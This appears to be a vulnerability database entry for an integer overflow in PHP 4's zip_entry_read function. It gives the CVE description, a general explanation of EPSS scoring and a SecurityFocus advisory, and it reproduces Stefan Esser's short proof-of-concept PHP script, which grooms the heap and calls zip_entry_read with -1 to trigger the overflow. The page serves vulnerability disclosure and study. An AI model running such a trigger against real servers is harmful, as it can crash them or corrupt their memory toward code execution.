CVE Descriptions

Integer overflow in the zip_read_entry function in PHP 4 before 4.4.5 allows remote attackers to execute arbitrary code via a ZIP archive that contains an entry with a length value of 0xffffffff, which is incremented before use in an emalloc call, triggering a heap overflow.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EDB Verified : Yes

source: https://www.securityfocus.com/bid/23169/info PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a heap-based buffer overflow. Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition. This issue affects versions prior to PHP 4.4.5. <?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 4 zip_entry_read() Integer Overflow Vulnerability // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); $r = zip_open("x.zip"); $e = zip_read($r); $x = zip_entry_open($r, $e); for ($i=0; $i<1000; $i++) $arr[$i]=array(array("")); unset($arr[600]); zip_entry_read($e, -1); unset($arr[601]); ?>
